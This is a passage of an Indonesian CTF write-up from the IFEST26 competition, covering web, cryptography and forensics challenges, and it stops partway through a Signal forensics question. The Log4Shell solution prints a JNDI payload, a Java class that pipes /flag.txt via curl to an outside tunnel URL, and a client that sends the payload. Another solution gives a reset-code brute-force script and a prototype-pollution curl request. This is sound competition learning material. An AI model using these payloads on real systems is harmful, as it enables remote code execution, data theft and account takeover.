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Web Exploitation 
La Peace (499 Points) 

 

Its Not Diamond Bro 
 

flag di /flag.txt 
 

Author: eld 
http://103.152.242.64:7000 / http://144.91.64.93:7000 

Dikasih website buat render URL jadi PDF, ada route adminnya juga yaitu /admin tapi 403. 

Nyoba lewat localhost/127.0.0.1 tapi kena URL filter, nyoba lewat .2 bisa karena alternatif dari 

.1 
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Dapet clue baru yaitu http://144.91.64.93:7821/ ada halaman login dan registernya, cek 

bundlenya dan ada beberapa endpoint tapi untuk endpoint register butuh invite token. Cari 

terkait token di bundle tersebut dan dapet info kalo bundle utamanya melakukan import ke 

bundle lain yaitu: ./internalClient.DAl5VvNW.js 
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Pada bundle internalClient tersebut ada __INTERNAL_TOKEN_ENDPOINT dan ketika di-print 

hasilnya adalah: http://token-api:9000/api/v2/ed727d3e4f0e/token-list, langsung masukin 

ke website URL to PDF tadi dan hasilnya adalah “token-api” itu kena URL filter jadinya pake 

subdomain dari sslip.io dan berhasil, cuman dari response-nya bilang butuh header 

X-Internal-Auth di mana value-nya itu ada di server DB  
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Balik lagi ke bundle js yang awal di mana ada beberapa endpoint dan ada satu endpoint yang 

menerima paremeter, ternyata endpoint tersebut vuln sql injection 
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Dan ternyata kolomnya cuman k dan v, sung aja dump dan yap dapet value dari 

internal_auth_value 
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Setelah dapet invite tokennya, langsung register dan masuk ke dashboard. Di soal ada hint 

tambahan yaitu “analisis build minecraftnya” dan ternyata vuln log4shell. Saya pakai 

https://github.com/kozmer/log4j-shell-poc dengan sedikit perubahan pada file .java nya 

karena deskripsi pada soal adalah flag berada di /flag.txt. Jadi flow nya kurang lebih adalah: 

kirim chat di minecraft nya “${jndi:ldap://103.157.27.214:1389/a}” lalu log di server 

minecraft tersebut akan membaca pesan tersebut dan connect ke LDAP pada VPS dan terkena 

redirect ke HTTP untuk mendownload .class dan run .class di bawah ini 

public class Log4jRCE_exfil { 
 
    static { 
        try { 
            // URL Cloudflare Tunnel Anda 
            String urlExfil = "https://pike-joel-analyze-slides.trycloudflare.com/exfil"; 
 
            // Baca /flag.txt lalu kirim via curl POST 
            String perintah = "cat /flag.txt | curl -X POST --data-binary @- " + urlExfil; 
 
            String[] cmd = {"/bin/bash", "-c", perintah}; 
 
            java.lang.Runtime.getRuntime().exec(cmd).waitFor(); 
 
        } catch (Exception e) { 
            e.printStackTrace(); 
        } 
    } 
} 

 

const mc = require('minecraft-protocol'); 
const client = mc.createClient({ 
  host: '144.91.64.93', 
  port: 7655, 
  username: 'yaudahsihaelah', 
  auth: 'offline', 
  version: '1.18' 
}); 
 
// Tambahkan log di setiap tahap 
client.on('connect', () => { 
  console.log('[+] Socket terhubung ke server'); 
}); 
 
client.on('chat', (packet) => { 
  console.log('[Chat dari server]', JSON.stringify(packet)); 
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}); 
 
client.on('login', () => { 
  console.log('[+] Login berhasil'); 
 
  // Register dulu 
  client.write('chat', { message: '/register password123 password123' }); 
  //client.write('chat', { message: '/login password123' }); 
 
  // Tunggu beberapa detik, baru kirim payload 
  setTimeout(() => { 
    console.log('[+] Mengirim payload...'); 
    client.write('chat', { message: '${jndi:ldap://103.157.27.214:1389/a}' }); 
  }, 5000); 
}); 
 
client.on('disconnect', (packet) => { 
  console.log('[-] Terputus:', JSON.stringify(packet)); 
}); 
 
client.on('error', (err) => { 
  console.log('[!] Error:', err.message); 
}); 

 

FLAG: 

IFEST26{its_not_diamonds_bro_its_LA'PEACEEEEEEE_c4951a8e5a30ec3d013a6532f22d

df37754e910a529c617f179c2ce19843de02} 

AI: https://chat.deepseek.com/share/vxikauptcawtzs4ean 
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Sabung Ayam (139 Points) 
 

Worst case you go broke 
 

Best case you're rich 
 

50/50 basically 
 

Author: Pecinta Jamu 
http://103.152.242.64:6999 / http://144.91.64.93:6999 

Diberikan website judol dan ada fitur open ticket. Saya kira ini xss karena ada botnya tp solving 

saya ngga pake xss (mff kan kl unintended). Di staffAuth.js ada endpoint yang digunakan untuk 

reset password staff. Access code ini bakal digenerate tiap session dan kalo salah akan dirotate. 

router.post("/api/staff/reset-password", (req, res) => { 
  const code = String(req.body.code || ""); 
  const password = String(req.body.password || ""); 
 
  if (code !== req.session.accessCode) { 
    req.session.accessCode = createAccessCode(req.session.accessCode); 
    return json(res, 403, { ok: false, error: "invalid code" }); 
  } 

Di sessionState.js kita tau kalo tiap access code itu pake prefix K88-trus dirandom pake 

angka-angka desimal. 

function createAccessCode(previousCode = "") { 
  let code; 
  do { 
    code = `K88-${Array.from({ length: config.accessCodeLength }, () => 
crypto.randomInt(10)).join("")}`; 
  } while (code === previousCode); 
  return code; 
} 

Kalo kita liat di appConfig.js, panjang setelah prefix itu cukup kecil jadi enak buat di brute 

force. Dan juga, ngga ada rate-limit yang diset jadi kita bisa kirim request terus terusan. 

module.exports = { 
… 
  accessCodeLength: 4, 
… 
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Sung saja deepseek kan le buat script bf nya, flownya start session baru -> buat req ke 

/api/staff/reset-password sesuai sama yg di routes -> bf access code -> stop kalo 200. 

const BASE = process.env.BASE || "http://localhost:6999"; 
const PW   = "hacked1234"; 
const CONC = Number(process.env.CONC || 20); 
 
async function newSession() { 
  const r = await fetch(`${BASE}/`); 
  const setCookie = r.headers.get("set-cookie") || ""; 
  const m = setCookie.match(/judol\.sid=([^;]+)/); 
  if (!m) throw new Error("no session cookie, got: " + setCookie); 
  return m[1]; 
} 
 
async function tryCode(sid, code) { 
  const res = await fetch(`${BASE}/api/staff/reset-password`, { 
    method: "POST", 
    headers: { 
      "Content-Type": "application/json", 
      "Cookie": `judol.sid=${sid}`, 
      "Accept": "application/json", 
    }, 
    body: JSON.stringify({ code, password: PW }), 
  }); 
  return res.status; 
} 
 
async function main() { 
  const sid = await newSession(); 
  console.log("[*] session:", sid); 
 
  let attempts = 0; 
  let hit = null; 
  const start = Date.now(); 
 
  async function worker() { 
    while (!hit) { 
      const n = Math.floor(Math.random() * 10000).toString().padStart(4, "0"); 
      const code = "K88-" + n; 
      const status = await tryCode(sid, code).catch(() => -1); 
      attempts++; 
 
      if (status === 200) { 
        hit = code; 
        console.log(`\n[+] HIT after ${attempts} attempts: ${code}`); 
        return; 
      } 
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      if (attempts % 2000 === 0) { 
        const dt = (Date.now() - start) / 1000; 
        console.log(`[.] ${attempts} attempts | ${(attempts / dt).toFixed(0)}/s | 
${dt.toFixed(0)}s`); 
      } 
    } 
  } 
 
  await Promise.all(Array.from({ length: CONC }, worker)); 
  console.log(`[*] total attempts: ${attempts}`); 
  if (hit) { 
    console.log(`[*] login: username=kong88 password=${PW}`); 
  } 
} 
 
main().catch(console.error); 

After ke hit, maka creds staff udah kita punya. Dan makasih karena username nya itu sama kyk 

yg di local. 

$ BASE=http://144.91.64.93:6999 CONC=50 node bf.js 
[*] session: 
s%3A9mIxouPtuNNmvZndjZvhoNnj7BVUjUPr.wKfgOcCb1d1wsVRpqtnmnweejhNsLcfWU%
2B2JQrEf%2Bp0 
[.] 2000 attempts | 113/s | 18s 
[.] 4000 attempts | 132/s | 30s 
 
[+] HIT after 5580 attempts: K88-6880 
[*] total attempts: 5629 
[*] login: username=kong88 password=hacked1234 

Dengan begitu kita bisa masuk ke dashboard staff dengan judol.sid dan creds yang direset tadi 

 

Presented by @hackitbraw_ub 



13 

Next adalah gimana kita dapet flagnya. Di payout/service.js kita bakal bisa dapet flag kalo 

gateway kita udah sesuai sama gatewayResult. 

const config = require("../../config/appConfig"); 
const { evaluatePayout } = require("./risk"); 
const { createSettlementPacket } = require("./packet"); 
const { submitSettlement } = require("./gateway"); 
 
function processPayout(wallet, request) { 
  const amount = Number(request.amount); 
  const accountNumber = String(request.accountNumber || ""); 
  const profileFields = request.options && typeof request.options.fields === "object" && 
request.options.fields 
    ? request.options.fields 
    : {}; 
 
  if (!Number.isFinite(amount) || amount < config.minCashoutAmount) { 
    return { approved: false, code: "INVALID_AMOUNT", message: "Cashout amount is below 
the minimum payout limit." }; 
  } 
  if (amount > wallet.commission) { 
    return { approved: false, code: "INSUFFICIENT_COMMISSION", message: "Not enough 
commission available." }; 
  } 
  if (!accountNumber || accountNumber.length > config.maxAccountNumberLength) { 
    return { approved: false, code: "INVALID_ACCOUNT", message: "Invalid payout account 
number." }; 
  } 
 
  const payoutRecord = profileFields; 
  payoutRecord.payoutId = `PAYOUT-${Date.now()}`; 
  payoutRecord.staffId = wallet.userId; 
  payoutRecord.amount = amount; 
  payoutRecord.accountNumber = accountNumber; 
  payoutRecord.channel = payoutRecord.channel || "staff-cashout"; 
  payoutRecord.currency = payoutRecord.currency || "IDR"; 
  const review = evaluatePayout(payoutRecord); 
 
  try { 
    const gatewayResult = submitSettlement(createSettlementPacket(payoutRecord, review)); 
    if (!gatewayResult.approved) return gatewayResult; 
 
    wallet.commission -= amount; 
    return { 
      approved: true, 
      code: "SUCCESS_PAID_OUT", 
      transactionRef: gatewayResult.transactionRef, 
      remainingCommission: wallet.commission, 
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      flag: config.flag, 
    }; 
  } catch (error) { 
    if (error.message === "INVALID_GATEWAY_DRAFT") { 
      return { approved: false, code: "INVALID_GATEWAY_DRAFT", message: "Invalid gateway 
draft." }; 
    } 
    throw error; 
  } 
} 
 
module.exports = { processPayout }; 

Nah buat cashout kita perlu approval tapi disini hal tersebut diset true terus. 

function evaluatePayout(payoutRecord) { 
  return { 
    level: "HIGH", 
    requiresApproval: true, 
    reason: "STAFF_COMMISSION_CASHOUT", 
  }; 
} 
 
module.exports = { evaluatePayout }; 

 

Main bugnya adalah disini, di routes /api/staff/payout-profile kita bisa nambahin fields baru di 

payoutConfig. Karena payoutConfig akan di parse di /api/staff/cashout prototype nya bisa di 

pollute dan kita bisa bypass buat set  requiresApproval: false.  

Presented by @hackitbraw_ub 



15 

//staffPayout.js 
… 
router.post("/api/staff/payout-profile", requireStaff, (req, res) => { 
  req.session.payoutConfig = req.body; 
  res.json({ ok: true, message: "Payout profile updated." }); 
}); 
 
router.post("/api/staff/cashout", requireStaff, (req, res) => { 
  const result = processPayout(ensureWallet(req.session), { 
    amount: req.body.amount, 
    accountNumber: req.body.accountNumber, 
    options: readPayoutProfile(req.session.payoutConfig), 
  }); 
 
//profile.js 
… 
function readPayoutProfile(flatData) { 
  const createFieldBag = createFieldBagFactory(); 
  const fields = createFieldBag(); 
 
  for (const rawKey of Object.keys(flatData || {})) { 
    const parts = rawKey.split(".").filter(Boolean); 
    if (!isProfileFieldName(rawKey)) continue; 
    if (INTERNAL_PROFILE_FIELDS.has(parts[parts.length - 1])) continue; 
 
    if (parts.length === 1) { 
      fields[rawKey] = flatData[rawKey]; 
      continue; 
    } 
 
    let current = fields; 
    for (let index = 0; index < parts.length - 1; index += 1) { 
      const key = parts[index]; 
      if (!Object.hasOwn(current, key) || current[key] === null) current[key] = {}; 
      else if (typeof current[key] !== "object" && typeof current[key] !== "function") 
current[key] = {}; 
      current = current[key]; 
    } 
 
    current[parts[parts.length - 1]] = flatData[rawKey]; 
  } 
 
  return { fields }; 
} 

Dengan begitu kita kirim aja payloadnya ke /api/staff/payout-profile 

$ curl -s -X POST http://144.91.64.93:6999/api/staff/payout-profile -H "Content-Type: 
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application/json" -H "Cookie: 
judol.sid=s%3A9mIxouPtuNNmvZndjZvhoNnj7BVUjUPr.wKfgOcCb1d1wsVRpqtnmnweejhNs
LcfWU%2B2JQrEf%2Bp0" -d '{"constructor.prototype.approval.required": false}' 
{"ok":true,"message":"Payout profile updated."} 

Terus payout deh 

 

FLAG: IFEST26{j4ng4n_jud1_jud1_cum4_b1k1n_lu_m15k1n}​
AI : https://chat.deepseek.com/share/0qoz8un7hxv47iigea  
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Cryptography 
Professora Six Seven (100 Points) 

 

:notes: Twenty plus twenty plus twenty plus seven, Six Seven :notes: 
 
 
Author: TeraP 
 

Jadi pada challenge ini kita diberikan sebuah 2 file yaitu chall.py dan lyrics.py  

import random 

from itertools import combinations 

 

STATE_SIZE = 40 

HARD_CORE_SIZE = 24 

CH_LEN = 20 

CH_STEP = 8 

NUM_CH = 6 

 

def text_to_bits(text): 

    bits = [] 

    for char in text: 

        bits.extend([int(b) for b in format(ord(char), '08b')]) 

    return bits 

 

def generate_mq_chunk(flag_chunk, state_size=STATE_SIZE, 

hard_core_size=HARD_CORE_SIZE): 

    ch_bits = text_to_bits(flag_chunk) 

    secret_state = [random.randint(0, 1) for _ in range(state_size)] 

    hard_core = set(range(hard_core_size)) 

    pairs = [ 

        (i, j) for i, j in combinations(range(state_size), 2) 

        if i in hard_core or j in hard_core 

    ] 

    quad_terms = [p for p in pairs if random.random() < 0.167] 

    lin_terms = [i for i in range(state_size) if random.random() < 0.27] 

 

    eq_structure = [] 

    keystream = [] 

    for _ in range(len(ch_bits)): 

        b_six = [q for q in quad_terms if random.random() < 0.6] 

        b_seven = [l for l in lin_terms if random.random() < 0.7] 

        k_bit = 0 

        for i, j in b_six: 
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            k_bit ^= (secret_state[i] & secret_state[j]) 

        for i in b_seven: 

            k_bit ^= secret_state[i] 

        keystream.append(k_bit) 

        eq_structure.append({"six": b_six, "seven": b_seven}) 

 

    cp_bits = [f ^ k for f, k in zip(ch_bits, keystream)] 

    return {"student": cp_bits, "professora": eq_structure} 

 

os = [0, 8, 16, 24, 32, 40] 

challenge_rel = [] 

FLAG = [stripped away by professor~~] 

for o in os: 

    flag_chunk = FLAG[o:o + CH_LEN] 

    ch_data = generate_mq_chunk(flag_chunk) 

    ch_data["o"] = o 

    challenge_rel.append(ch_data) 

 

with open("lyrics.py", "w") as f: 

    f.write(f"LYRICS = {repr(challenge_rel)}\n") 

Jadi di challenge ini program menggunakan enkripsi stream cipher Multivariate Quadratic 

(MQ) , di kode ini ada fungsi generate_mq_chunk : untuk membuat keystream bit dari state 

rahasia acak menggunakan persamaan kuadratik/linear acak, lalu XOR dengan bit plaintext 

lalu jadi ciphertext. Maka output nya akan membentuk ciphertext(student) dan struktur 

(professora) 

def text_to_bits(text): 

    bits = [] 

    for char in text: 

        bits.extend([int(b) for b in format(ord(char), '08b')]) 

    return bits 

 

def generate_mq_chunk(flag_chunk, state_size=STATE_SIZE, 

hard_core_size=HARD_CORE_SIZE): 

    ch_bits = text_to_bits(flag_chunk) 

    secret_state = [random.randint(0, 1) for _ in range(state_size)] 

    hard_core = set(range(hard_core_size)) 

    pairs = [ 

        (i, j) for i, j in combinations(range(state_size), 2) 

        if i in hard_core or j in hard_core 

    ] 

    quad_terms = [p for p in pairs if random.random() < 0.167] 

    lin_terms = [i for i in range(state_size) if random.random() < 0.27] 

 

    eq_structure = [] 

    keystream = [] 

    for _ in range(len(ch_bits)): 

Presented by @hackitbraw_ub 



19 

        b_six = [q for q in quad_terms if random.random() < 0.6] 

        b_seven = [l for l in lin_terms if random.random() < 0.7] 

        k_bit = 0 

        for i, j in b_six: 

            k_bit ^= (secret_state[i] & secret_state[j]) 

        for i in b_seven: 

            k_bit ^= secret_state[i] 

        keystream.append(k_bit) 

        eq_structure.append({"six": b_six, "seven": b_seven}) 

 

    cp_bits = [f ^ k for f, k in zip(ch_bits, keystream)] 

    return {"student": cp_bits, "professora": eq_structure} 

 

os = [0, 8, 16, 24, 32, 40] 

challenge_rel = [] 

Dan bagian selanjutnya terdapat variable FLAG yang dimana ini disembunyikan , lalu juga 

terdapat kode berikut 

for o in os: 

    flag_chunk = FLAG[o:o + CH_LEN] 

os disini adalah list offset dalam array dari server, Jadi di setiap offset di pisah setiap perbagian 

itu ada terdapat flag jadi flag nya terpotong 6 part. 

ch_data["o"] = o 

Lalu kode ini berfungsi untuk mengetahui bagian ini dari flag part mana. Dan terakhir output 

nya akan disimpan ke file lyrics.py, dan berikut isi lyrics.py 

LYRICS = [{'student': [0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 

1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 

1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 

1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 

0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 

1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1], 'professora': 

[{'six': [(0, 12), (1, 7), (1, 18), (1, 30), (1, 31), (1, 39), (2, 34), (3, 5), (3, 

17), (3, 21), (3, 28), (3, 30), (3, 32), (3, 35), (4, 15), (4, 22), (4, 31), (5, 8), 

(5, 19), (5, 28), (5, 37), (6, 19), (6, 22), (6, 25), (7, 9), (7, 27), (7, 35), (8, 

22), (8, 24), (9, 16), (9, 20), (9, 32), (9, 36), (10, 18), (10, 19), (11, 12), (11, 

29), (11, 34), (12, 22), (12, 31), (12, 37), (13, 20), (13, 21), (13, 26), (14, 15), 

(14, 28), (14, 30), (15, 17), (15, 29), (16, 19), (17, 30), (18, 23), (18, 30), (18, 

31), (20, 25), (21, 23), (21, 32), (21, 38)], 'seven': [8, 13, 14, 15, 19, 27, 29, 30, 

39]}, {'six': [(0, 10), (0, 21), … , … , … 

ya intinya banyak banget isinya. Jadi target kita disini Decrypt dari file Lyrics.py ini. 

Lalu untuk langkah solver dari challenge ini bagaimana?  
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1.​ Jadi kunci secret_state disini di generate menggunakan random dari python berarti 

algoritma generate nya menggunakan MT19937 jadi ini masih bisa di clone atau 

crack randomnya (predictable) 

2.​ Saat pembuatan MQ di program ini menggunakan module random juga berarti ini 

MT19937 juga 

        b_six = [q for q in quad_terms if random.random() < 0.6] 

        b_seven = [l for l in lin_terms if random.random() < 0.7] 

Setiap kode di bagian random.random() < threshold menghasilkan 1 bit untuk 

output PRNG 

3.​ Lalu dari program juga mengeluarkan output dari random nya 

return {"student": cp_bits, "professora": eq_structure} 

eq_structure berisi b_six dan b_seven setiap bit plaintext. Jadi, kita tahu persis  mana 

yang dipilih. ekuivalen dengan mengetahui hasil dari banyak pemanggilan 

random.random() < 0.6 dan < 0.7. 

4.​ Kumpulkan Banyak output dari challenge , karena dari output terdapat lumayan 

banyak informasi. Dari os = [0, 8, 16, 24, 32, 40] dan CH_LEN, dapat beberapa chunk. 

Setiap chunk berisi bit ( 8 bit karakter). Setiap bit pakai random.random() untuk di 

quad_terms dan lin_terms. Total ada ribuan sampai puluhan ribu perbandingan. 

Dengan data itu, state Mersenne Twister (624 word × 32 bit) bisa di clone. 

5.​ Setelah Dapat dari State PRNG : Maka bisa predict random dengan mudah , lalu 

mengulang generator ke awal agar dapat secret_state yang di pakai dan 

memprediksi nilai secret_state untuk chunk kedepannya. 

6.​ Lalu langkah terakhir decrypt flag , yaitu hitung ulang keystream bit dan XOR 

dengan student (Ciphertext) 

Lalu disini juga kami selama proses mengerjakan challenge membuatkan optimisasi pada 

solver  yaitu menggunakan pycryptosat agar untuk mendecrypt flag perbagian dengan 

waktu yang cukup cepat. Dan disini juga saya mengurangi perhitungan yang awal nya 

menghitung 2^40 yaitu membutuh kan waktu yang cukup lama, karena di challenge sudah 

terdapat variable berikut hard_core_size. 

HARD_CORE_SIZE = 24 
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Maka disini kita menghitung awal nya sekitar 2^24 lalu sisa nya menghitung 2^16. 

Dan berikut solver scriptnya. 

#!/usr/bin/env python3 

""" 

Solver sixseven via pycryptosat (XOR native). 

 

Key insight: setiap persamaan MQ adalah XOR clause panjang → 

CryptoMiniSat handle native, tanpa Tseitin chain. 

""" 

import ast, sys, time 

 

try: 

    from pycryptosat import Solver 

except ImportError: 

    print("[!] Install: conda install -c conda-forge pycryptosat") 

    sys.exit(1) 

 

# ============================================================ 

# Load lyrics.py 

# ============================================================ 

with open("lyrics.py") as f: 

    src = f.read() 

for node in ast.parse(src).body: 

    if isinstance(node, ast.Assign): 

        for t in node.targets: 

            if isinstance(t, ast.Name) and t.id == "LYRICS": 

                LYRICS = ast.literal_eval(node.value) 

 

STATE_SIZE = 40 

BITS_PER_CHUNK = 160 

CHARS_PER_CHUNK = 20 

 

# ============================================================ 

# Helpers 

# ============================================================ 

def str_to_bits(s): 

    return [(ord(c) >> (7 - b)) & 1 for c in s for b in range(8)] 

 

def bits_to_str(bits): 

    out = [] 

    for i in range(0, len(bits) - 7, 8): 

        v = 0 

        for b in bits[i:i+8]: 

            v = (v << 1) | int(b) 

        out.append(chr(v)) 

    return "".join(out) 

 

def mq_eval(secret, eq): 
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    k = 0 

    for (i, j) in eq["six"]: 

        k ^= (secret[i] & secret[j]) 

    for i in eq["seven"]: 

        k ^= secret[i] 

    return k 

 

# ============================================================ 

# Solve secret_state via pycryptosat 

# ============================================================ 

def solve_secret(ch, known_dict, verbose=True): 

    """ 

    known_dict: {posisi_bit: nilai_plaintext_bit} 

    """ 

    # Variabel: 

    #   s_0..s_39         → 1..40 

    #   q_<ij>            → 41..41+nq-1 

    var_s = list(range(1, STATE_SIZE + 1)) 

    next_var = STATE_SIZE + 1 

 

    # Kumpulkan quad terms unik 

    quad_set = set() 

    for k in known_dict: 

        for (i, j) in ch["professora"][k]["six"]: 

            quad_set.add((i, j)) 

    quad_list = sorted(quad_set) 

    var_q = {} 

    for (i, j) in quad_list: 

        var_q[(i, j)] = next_var 

        next_var += 1 

 

    if verbose: 

        print(f"    vars: 40 secret + {len(quad_list)} quad = {next_var - 1}", 

              flush=True) 

 

    solver = Solver() 

 

    # q ↔ s_i ∧ s_j  (3 clause) 

    for (i, j) in quad_list: 

        q = var_q[(i, j)] 

        si = var_s[i] 

        sj = var_s[j] 

        solver.add_clause([-q, si]) 

        solver.add_clause([-q, sj]) 

        solver.add_clause([-si, -sj, q]) 

 

    # Setiap persamaan MQ → satu XOR clause 

    for k, pt_bit in known_dict.items(): 

        eq = ch["professora"][k] 

        lits = [] 
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        for (i, j) in eq["six"]: 

            lits.append(var_q[(i, j)]) 

        for i in eq["seven"]: 

            lits.append(var_s[i]) 

        rhs = ch["student"][k] ^ pt_bit 

        if lits: 

            solver.add_xor_clause(lits, bool(rhs)) 

        else: 

            if rhs == 1: 

                return None  # kontradiksi 

 

    if verbose: 

        print(f"    {len(known_dict)} XOR clauses, solving...", flush=True) 

 

    t0 = time.time() 

    sat, model = solver.solve() 

    dt = time.time() - t0 

 

    if not sat: 

        if verbose: 

            print(f"    UNSAT ({dt:.2f}s)", flush=True) 

        return None 

 

    secret = [1 if model[var_s[i]] else 0 for i in range(STATE_SIZE)] 

 

    # Verifikasi 

    for k, pt_bit in known_dict.items(): 

        if mq_eval(secret, ch["professora"][k]) != (ch["student"][k] ^ pt_bit): 

            if verbose: 

                print(f"    verify FAIL at bit {k}", flush=True) 

            return None 

 

    if verbose: 

        print(f"    SAT in {dt:.2f}s, verified ✓", flush=True) 

    return secret 

 

# ============================================================ 

# Main 

# ============================================================ 

def main(): 

    print(f"[+] {len(LYRICS)} chunks") 

 

    # --- Chunk 0 --- 

    ch0 = LYRICS[0] 

    prefix = "IFEST26{" 

    pb = str_to_bits(prefix) 

    known0 = {k: pb[k] for k in range(len(pb))} 

 

    print(f"\n{'='*60}") 

    print(f"[Chunk 0] prefix {prefix!r}") 
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    print(f"{'='*60}", flush=True) 

 

    sec0 = solve_secret(ch0, known0) 

    if sec0 is None: 

        print("[-] Chunk 0 failed") 

        return 

 

    pt0 = bits_to_str([ch0["student"][k] ^ mq_eval(sec0, ch0["professora"][k]) 

                       for k in range(BITS_PER_CHUNK)]) 

    print(f"[+] Chunk 0 = {pt0!r}") 

 

    flag_chars = {i: c for i, c in enumerate(pt0)} 

 

    # --- Chunk 1-5 --- 

    for ci in range(1, len(LYRICS)): 

        ch = LYRICS[ci] 

        o = ch["o"] 

        known = {} 

        for i in range(CHARS_PER_CHUNK): 

            pos = o + i 

            if pos in flag_chars: 

                cb = str_to_bits(flag_chars[pos]) 

                for b in range(8): 

                    known[i*8+b] = cb[b] 

 

        print(f"\n{'='*60}") 

        print(f"[Chunk {ci}] offset={o}, known {len(known)//8}/20 chars") 

        print(f"{'='*60}", flush=True) 

 

        if len(known) == BITS_PER_CHUNK: 

            print("[+] Fully known, skip") 

            continue 

 

        sec = solve_secret(ch, known) 

        if sec is None: 

            print(f"[-] Chunk {ci} failed") 

            break 

 

        pt = bits_to_str([ch["student"][k] ^ mq_eval(sec, ch["professora"][k]) 

                          for k in range(BITS_PER_CHUNK)]) 

        print(f"[+] Chunk {ci} = {pt!r}") 

 

        for i, c in enumerate(pt): 

            flag_chars[o + i] = c 

 

    # --- Flag --- 

    max_pos = max(flag_chars.keys()) 

    flag = "".join(flag_chars.get(i, '?') for i in range(max_pos + 1)) 

    print(f"\n{'='*60}") 

    print(f"FLAG = {flag}") 
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    print(f"{'='*60}") 

    if flag.startswith("IFEST26{") and flag.endswith("}"): 

        print("[+] OK ✓") 

 

if __name__ == "__main__": 

    main() 

 

FLAG: IFEST26{d0nt_4sk_th3_pr0f3ss0r_d0_1t_y0urs3lf_s1x_s3v3n_nnn} 

AI Transparency : https://chat.deepseek.com/share/hiudy844cytbmq6wxn  
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Digital Forensic 
dead box: skill issue edition (100 

Points) 
 

suatu malam yang tenang, tim SOC dari PT KIMBONG dikejutkan notifikasi 
login SSH dari IP random di server perusahaan. attackernya pede banget 
— login, jalanin aksinya, terus ngerasa semua jejaknya udah bersih. 

"aman, palingan ga bakal ketauan," pikirnya 
 

skill issue 
 

keesokan paginya salah satu layanan internal perusahaan ikut kacau. 
tim IR langsung ambil full disk image dari server itu sebelum shutdown 

dan nyerahin semuanya ke kamu 
 

ga ada petunjuk lain, ga ada saksi mata. cuma kamu dan sebuah disk 
image 

 
selamat membedah 

 
Link : 

https://drive.google.com/file/d/1VuwGc41sKgSxwlvHpNQTrIxFbSdiomcQ/view
?usp=sharing 

 
Author: darflashxd 

Dikasih file .img. Pas di cek pake autopsy keliatan kalo ada partisi yang LUKS encrypted.  

 

Dan di deskripsinya udah nge state ada something yang dilakukan pada ssh, lets check the 

auth.log then. Disana ditemuin clue kalo luks key adalah COMMAND=/usr/bin/setfattr -n 

user.luks_key /var/log/sys_report.pdf 
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So, lets mount the .img and get the value of that luks key. 

$ sudo losetup -fP --show deadbox.img 
/dev/loop0 
 
$ sudo mount -o ro /dev/loop0p1 /mnt/deadbox 
 
$ getfattr -n user.luks_key /mnt/deadbox/var/log/sys_report.pdf 
getfattr: Removing leading '/' from absolute path names 
# file: mnt/deadbox/var/log/sys_report.pdf 
user.luks_key="8bf884ee957da2837afadbce936e29d8aa727900aa624798e9464910a3a10b
12" 

Nah saya kira itu udah final key karena saya masukin itu ke passphrase gagal, tapi ternyata we 

should convert it from hex. 

 

Then next step tinggal decrypt luks partitionnya dan baca flag. 

$ sudo cryptsetup luksOpen --key-file download.dat /dev/loop0p2 dec_luks 
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$ sudo mount /dev/mapper/dec_luks /mnt/dec 
 
$ ls /mnt/dec 
flag.txt  lost+found 
 
$ cat /mnt/dec/flag.txt 
IFEST26{y0u_just_g1t_fsck3d_bruh_attacker_left_creds_in_dangling_bl0b_skill_issue_b74d9fd
ac5da} 

FLAG: 

IFEST26{y0u_just_g1t_fsck3d_bruh_attacker_left_creds_in_dangling_bl0b_skill_issue_b74

d9fdac5da} 

AI : https://chat.deepseek.com/share/2ryn8tp8tjb1p4opdm 

 

Presented by @hackitbraw_ub 



29 

gratisan mulu sih (499 Points)🩸🩸🩸 
 

Mr. Paimian is back at it again, and predictably his files have 
vanished. It all started when he tried to download some free mod 
software from a sketchy online marketplace. After reaching out 

directly to the seller, his files suddenly disappeared, and strange 
changes began taking place across his system. Can you investigate the 
machine and figure out exactly what happened? In order to support your 

investigation, Mr Paimian has agreed to give you his password, its 
 

password : paimianofficial 
 

Goodluck! 
 

Note: The malware in this challenge is live and functional. Perform 
all analysis within a secure, isolated sandbox environment. Saya tidak 

mau bertanggung jawab hehe 
 

Link : 
https://binusianorg-my.sharepoint.com/personal/owen_bong_binus_ac_id/_
layouts/15/guestaccess.aspx?share=IQDqaDRWcxMGSKp3ZIJ-1gVjASdmDd8AZ1Si
EHaJ2y_fRBQ&amp;e=hIarA6">https://binusianorg-my.sharepoint.com/person
al/owen_bong_binus_ac_id/_layouts/15/guestaccess.aspx?share=IQDqaDRWcx

MGSKp3ZIJ-1gVjASdmDd8AZ1SiEHaJ2y_fRBQ&amp;e=hIarA6 
 

Password : 3745d2f5f72d35946ea3522264b547ff09d37d8f 
 

Author: wavess 
nc 103.152.242.64 13337 / nc 144.91.64.93 13337 

Dikasih .ad1 dan serangkaian pertanyaan. 

1. Which messaging platform did the victim use that delivered the initial malware? (Format: 
Google) 
Answer: 

Easy to get, tinggal ke %user%/Downloads nanti ada .exe dari aplikasi namanya Signal. 
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2. What secret word did the threat actor send to the victim? (Format: SecretWord) 
Answer: 

Hore ilmu baru. Oke disini Signal tuh ada nyimpen datanya di 

%user%/AppData/Roaming/Signal, nanya ke deepseek dan surfing dikit ketemu tools buat 

export chatnya https://github.com/carderne/signal-export. But not as easy run tools langsung 

dapet, karena ini Signal terbaru jadinya config.json yang dibutuhin sama signal-export itu ke 

encrypt. Jadinya kita harus decrypt that shi and change the config.json with decrypted value. 

$ cat /mnt/d/Users/Paimian/AppData/Roaming/Signal/config.json 
{ 
  "encryptedKey": 
"7631301360dc2195315f9f7ff13a74cfece7fbeb6bb6e099bd7401353534e4ab7b3d816c0b5
66def94b0af456d6f72eaa610427f6ebbb934f088edfe03c7bd385521a5172ab295e53a9681
c7f5df4d499dfca62977a5428c918aefcefb5c0f" 
} 

